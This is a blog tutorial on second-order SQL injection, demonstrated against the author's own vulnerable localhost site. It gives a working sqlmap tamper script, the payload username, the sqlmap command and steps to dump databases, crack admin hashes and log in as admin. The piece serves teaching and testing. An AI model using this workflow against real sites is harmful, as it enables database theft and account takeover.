Second Order SQL Injection Explained with Example

Lê Thành Phúc
5 min readMay 27, 2019

--

Summary

The second Sql injection is an application vulnerability, it occurs when the user sends values stored in the database and then it is used by some other function in the application. Usually data from external sources (users supplied) is considered dangerous if not carefully filtered. Second Order Sql Injection requires more knowledge of how submitted values are later used in order to perform successful second order sql injection. Follow the example below to understand more about Second Order SQL Injection.

Example

In this example, I prepared a site has vulnerable user signin, signup and search functionality. A user registers, then logins and search something. That is the case here, where input at index.php?t=signup will be stored in the database . Later, when a action is made to login, that will be validated and then on redirection. The username is used to query the database to get name with that user.

In that example, I register and login with username “noobpk” and password “123456789

Username without payload injection

Everything work right, However if I create a username as “noobpk’ — “ the query can corrupt so that error message is displayed. It seems like there is a query to the database to get name with our user, and the input isn’t filtered.

Username with payload injection

PoC SQLi with SQLmap

A standard SQLi attack with sqlmap (even at most aggressive) is going to fail, as the injection happens at the registration, but then isn’t visible until later at the notes home page.

To do this successfully with sqlmap, we’ll need to do the following steps:

1. Create an account with username being the injectable item

  • via tamper script

2. Login with that account

  • sqlmap main functionality

3. Visit /index.php to look for results

  • --second-order flag to tell sqlmap to visit /index.php to look for output
  • alternatively, we could leave this off and allow sqlmap to follow the redirect it gets back from logging in

Tamper Script — sql2nd-tamper.py

Key points for the script. The tamper function will be called before each query that sqlmap makes to the target. tamper is passed the payload that will be used, and it returns that payload for use. We also have the opportunity to set other things, like cookies.

This script call create_account, which will register an account on the site example. In that don’t set “PHPSESSID” in register page

We’ll want to use the same password here at registration that we use in the next step for login.

Here’s my custom sql2nd-tamper.py:

#!/usr/bin/env python

import re

import requests

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():

pass

def create_account(payload):

s = requests.Session()

# register with username = payload

# username=%27+--&password=123456789&re_password=123456789&dangky=

post_data = { 'username':payload, 'password':'123456789', 're_password':'123456789' ,'dangky':'' }

proxies = { 'http':'http://127.0.0.1:8080' }

response = s.post("http://localhost/web200/sql2order/index.php?t=signup", data=post_data, proxies=proxies)

# get cookie

#Set-Cookie: PHPSESSID=l5vdi7j5gq6g978bor44fndt80; path=/

php_cookie = re.search('PHPSESSID=(.*?);', response.headers['Set-Cookie']).group(1)

return "PHPSESSID={0}".format(php_cookie)

def tamper(payload, **kwargs):

headers = kwargs.get("headers", {})

headers["Cookie"] = create_account(payload)

return payload

SQLmap Command Line

We’ll accomplish steps 2) and 3) with options at the sqlpmap command line:

Les-MacBook-Pro:sqlmap-dev lethanhphuc$ python sqlmap.py — technique=U -r login.request — dbms mysql — tamper sql2ndtamper.py — second-url ‘http://localhost/web200/sql2order/index.php’ -p username — proxy http://127.0.0.1:8080

Options:

  • --technique=U - sqlmap will try six different classes of sqli attack: [B]oolean-based, [E]rror-based, [U]nion-based, [S]tacked queries, [T]imebased queries, and Inline [Q]ueries. By default, it’s BEUSTQ, but since we already showed in the manual work that we’ll be using a union attack, we’ll reduce the number of checks

-r login.request - a request saved out of burp, making sure there’s no PHPSESSID cookie, and that the password is the same as our tamper script:

POST /web200/sql2order/index.php?t=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Connection: close
Referer: http://localhost/web200/sql2order/index.php?t=login
Cookie: PHPSESSID=42e6c959e5372476873d70201fb7b29c
Upgrade-Insecure-Requests: 1

username=noobpk&password=123456789&dangnhap=

  • --dbms mysql - given this is a linux host, and mysql is common with the linux / php stack, we’ll guess this to speed things up. If sqlmap disagrees, it will tell us.
  • --tamper sql2ndtamper.py - our tamper script from above
  • --second-url 'http://localhost/web200/sql2order/index.php' - after the request to index.php to login, visit this url to check for results
  • -p username - we know from the manual work that the injectable parameter is the username
  • --proxy http://127.0.0.1:8080 - send requests through Burp for analysis. Would probably remove this prior to a big dump of the database to speed things up

Details of Initial Run

We start sqlmap with the commands above, and it runs until the following prompt:

Database Enumeration

With a working injection, we can now do further enumeration.

Adding --dbs will show the database names:

Adding --tables will show the tables. This query fails initially, but with a suggestion:

Adding --no-cast will enable table enumeration. Wait some minute…:

Dumping Data

The --dump flag will give the entries from a database. By default, that’s the current database in use by the application. There’s also a --dump-all which will dump all databases, and a --exclude-sysdbs.

So let’s start with the current db_sql database:

If in database has account of admin, after letting sqlmap crack the hashes, we can log in as admin and delfy:

Conclusion

Second Order SQL Injection is tricky, and there’s almost never going to be a tool that just does it for you. But, if you can write a python script, you can make sqlpmap do what you’re looking for and get the data from the database.

Source Code

https://github.com/noobpk/sql2nd-example

Reference

--

--

Lê Thành Phúc
Lê Thành Phúc

No responses yet